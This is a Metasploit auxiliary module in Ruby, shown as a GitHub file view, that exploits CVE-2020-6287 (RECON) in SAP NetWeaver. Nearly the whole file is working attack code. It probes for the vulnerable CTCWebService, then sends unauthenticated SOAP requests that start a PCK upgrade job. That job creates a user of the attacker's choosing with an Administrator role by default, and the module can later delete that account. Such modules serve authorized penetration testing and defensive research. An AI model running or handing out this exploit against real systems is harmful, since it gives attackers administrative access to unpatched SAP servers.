/
cve_2020_6287_ws_add_user.rb
321 lines (281 loc) · 11.5 KB
/
cve_2020_6287_ws_add_user.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SAP Unauthenticated WebService User Creation',
'Description' => %q{
This module leverages an unauthenticated web service to submit a job which will create a user with a specified
role. The job involves running a wizard. After the necessary action is taken, the job is canceled to avoid
unnecessary system changes.
},
'Author' => [
'Pablo Artuso', # The Onapsis Security Researcher who originally found the vulnerability
'Dmitry Chastuhin', # Author of one of the early PoCs utilizing CTCWebService
'Spencer McIntyre' # This Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2020-6287' ],
[ 'URL', 'https://github.com/chipik/SAP_RECON' ],
[ 'URL', 'https://www.onapsis.com/recon-sap-cyber-security-vulnerability' ],
[ 'URL', 'https://us-cert.cisa.gov/ncas/alerts/aa20-195a' ]
],
'Notes' => {
'AKA' => [ 'RECON' ],
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],
'Reliability' => []
},
'Actions' => [
[ 'ADD', { 'Description' => 'Add the specified user' } ],
[ 'REMOVE', { 'Description' => 'Remove the specified user' } ]
],
'DefaultAction' => 'ADD',
'DisclosureDate' => '2020-07-14'
)
)
register_options(
[
Opt::RPORT(50000),
OptString.new('USERNAME', [ true, 'The username to create' ]),
OptString.new('PASSWORD', [ true, 'The password for the new user' ]),
OptString.new('ROLE', [ true, 'The role to assign the new user', 'Administrator' ]),
OptString.new('TARGETURI', [ true, 'Path to CTCWebService', '/CTCWebService/CTCWebServiceBean' ])
]
)
end
def check
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'vars_get' => { 'wsdl' => '' }
}
)
return Exploit::CheckCode::Safe unless res&.code == 200
return Exploit::CheckCode::Safe unless res.headers['Content-Type'].strip.start_with?('text/xml')
xml = res.get_xml_document
return Exploit::CheckCode::Safe unless xml.namespaces['xmlns:wsdl'] == 'http://schemas.xmlsoap.org/wsdl/'
return Exploit::CheckCode::Safe if xml.xpath("//wsdl:definitions/wsdl:service[@name='CTCWebService']").empty?
Exploit::CheckCode::Vulnerable
end
def run
case action.name
when 'ADD'
action_add
when 'REMOVE'
action_remove
end
end
def action_add
job = nil
print_status('Starting the PCK Upgrade job...')
job = invoke_pckupgrade
print_good("Job running with session id: #{job.session_id}")
report_vuln(
host: rhost,
port: rport,
name: name,
sname: ssl ? 'https' : 'http',
proto: 'tcp',
refs: references,
info: "Module #{fullname} successfully submitted a job via the CTCWebService"
)
loop do
# it's a slow process, wait between status checks
sleep 2
next unless job.has_events_available?
event = job.get_event
if !(action_id = event.xpath('//ctc:StartAction/ctc:Action/ctc:ActionId/text()')).blank? && (action_id.to_s == 'genErrorNotification')
report_error_details(job)
fail_with(Failure::Unknown, 'General error')
end
unless (description = event.xpath('//ctc:StartAction/ctc:Action/ctc:Description/text()')).blank?
vprint_status("Received event description: #{description}")
end
unless (description = event.xpath('//ctc:FinishAction/ctc:Action/ctc:Description/text()')).blank? # rubocop:disable Style/Next
if description.to_s =~ /Create User PCKUser/i
print_good('Successfully created the user account')
end
if description.to_s =~ /Assign Role SAP_XI_PCK_CONFIG to PCKUser/i
print_good('Successfully added the role to the new user')
break
end
end
end
ensure
unless job.nil?
print_status('Canceling the PCK Upgrade job...')
job.cancel_execution
end
end
def action_remove
message = { name: 'DeleteUser' }
message[:data] = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<root>
<username secure="true">#{datastore['USERNAME'].encode(xml: :text)}</username>
</root>
ENVELOPE
envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
<soapenv:Header/>
<soapenv:Body>
<urn:executeSynchronious>
<identifier>
<component>sap.com/tc~lm~config~content</component>
<path>content/Netweaver/ASJava/NWA/SPC/SPC_DeleteUser.cproc</path>
</identifier>
<contextMessages>
<baData>#{Rex::Text.encode_base64(message[:data])}</baData>
<name>#{message[:name]}</name>
</contextMessages>
</urn:executeSynchronious>
</soapenv:Body>
</soapenv:Envelope>
ENVELOPE
res = send_request_soap(envelope)
fail_with(Failure::UnexpectedReply, 'Failed to delete the user') unless res&.code == 200
print_good('Successfully deleted the user account')
end
def report_error_details(job)
print_error('Received a general error notification')
error_event = job.get_event
print_error('Error details:')
error_event.xpath('//ctc:Notification/ctcNote:Messages/ctcNote:Message').each do |message|
print_error(" #{message.text}")
end
end
def send_request_soap(envelope)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'ctype' => 'text/xml;charset=UTF-8',
'data' => envelope
}
)
return nil unless res&.code == 200
return nil unless res.headers['Content-Type'].strip.start_with?('text/xml')
res
end
def invoke_pckupgrade
message = { name: 'Netweaver.PI_PCK.PCK' }
message[:data] = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<PCK>
<Usermanagement>
<SAP_XI_PCK_CONFIG>
<roleName>#{datastore['ROLE'].encode(xml: :text)}</roleName>
</SAP_XI_PCK_CONFIG>
<SAP_XI_PCK_COMMUNICATION>
<roleName>#{Rex::Text.rand_text_alphanumeric(10..16)}</roleName>
</SAP_XI_PCK_COMMUNICATION>
<SAP_XI_PCK_MONITOR>
<roleName>#{Rex::Text.rand_text_alphanumeric(10..16)}</roleName>
</SAP_XI_PCK_MONITOR>
<SAP_XI_PCK_ADMIN>
<roleName>#{Rex::Text.rand_text_alphanumeric(10..16)}</roleName>
</SAP_XI_PCK_ADMIN>
<PCKUser>
<userName secure="true">#{datastore['USERNAME'].encode(xml: :text)}</userName>
<password secure="true">#{datastore['PASSWORD'].encode(xml: :text)}</password>
</PCKUser>
<PCKReceiver>
<userName>#{Rex::Text.rand_text_alphanumeric(10..16)}</userName>
<password secure="true">#{Rex::Text.rand_text_alphanumeric(10..16)}</password>
</PCKReceiver>
<PCKMonitor>
<userName>#{Rex::Text.rand_text_alphanumeric(10..16)}</userName>
<password secure="true">#{Rex::Text.rand_text_alphanumeric(10..16)}</password>
</PCKMonitor>
<PCKAdmin>
<userName>#{Rex::Text.rand_text_alphanumeric(10..16)}</userName>
<password secure="true">#{Rex::Text.rand_text_alphanumeric(10..16)}</password>
</PCKAdmin>
</Usermanagement>
</PCK>
ENVELOPE
envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
<soapenv:Header/>
<soapenv:Body>
<urn:execute>
<identifier>
<component>sap.com/tc~lm~config~content</component>
<path>content/Netweaver/PI_PCK/PCK/PCKProcess.cproc</path>
</identifier>
<contextMessages>
<baData>#{Rex::Text.encode_base64(message[:data])}</baData>
<name>#{message[:name]}</name>
</contextMessages>
</urn:execute>
</soapenv:Body>
</soapenv:Envelope>
ENVELOPE
res = send_request_soap(envelope)
fail_with(Failure::UnexpectedReply, 'Failed to start the PCK Upgrade process') unless res&.code == 200
session_id = res.get_xml_document.xpath('//return/text()').to_s
WebServiceJob.new(self, session_id)
end
end
class WebServiceJob
def initialize(mod, session_id)
@mod = mod
@session_id = session_id
end
def cancel_execution
envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
<soapenv:Header/>
<soapenv:Body>
<urn:cancelExecution>
<sessionId>#{@session_id.encode(xml: :text)}</sessionId>
</urn:cancelExecution>
</soapenv:Body>
</soapenv:Envelope>
ENVELOPE
res = send_request_soap(envelope)
fail_with(Failure::UnexpectedReply, 'Failed to cancel execution') if res.nil?
res.get_xml_document.xpath('//return/text()').to_s != 'false'
end
def get_event
envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
<soapenv:Header/>
<soapenv:Body>
<urn:getNextEvent>
<sessionId>#{@session_id.encode(xml: :text)}</sessionId>
</urn:getNextEvent>
</soapenv:Body>
</soapenv:Envelope>
ENVELOPE
res = send_request_soap(envelope)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the event information') if res.nil?
Nokogiri::XML(Rex::Text.decode_base64(res.get_xml_document.xpath('//return/text()')))
end
def has_events_available? # rubocop:disable Naming/PredicateName
envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
<soapenv:Header/>
<soapenv:Body>
<urn:eventsAvailable>
<sessionId>#{@session_id.encode(xml: :text)}</sessionId>
</urn:eventsAvailable>
</soapenv:Body>
</soapenv:Envelope>
ENVELOPE
res = send_request_soap(envelope)
fail_with(Failure::UnexpectedReply, 'Failed to check if events are available') if res.nil?
res.get_xml_document.xpath('//return/text()').to_s != 'false'
end
attr_reader :session_id
private
def send_request_soap(*args, **kwargs)
@mod.send_request_soap(*args, **kwargs)
end
end